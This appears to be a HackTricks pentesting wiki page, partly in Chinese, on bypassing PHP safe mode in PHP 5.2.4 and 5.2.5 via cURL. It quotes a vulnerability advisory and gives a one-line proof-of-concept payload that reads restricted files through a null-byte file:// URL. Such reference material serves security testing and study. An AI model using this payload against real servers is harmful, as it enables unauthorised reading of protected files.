> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md).

# disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL

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## PHP 5.2.4和5.2.5 PHP cURL

来自<http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>

```
source: http://www.securityfocus.com/bid/27413/info

PHP cURL is prone to a 'safe mode' security-bypass vulnerability.

Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.

The issue affects PHP 5.2.5 and 5.2.4.

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```

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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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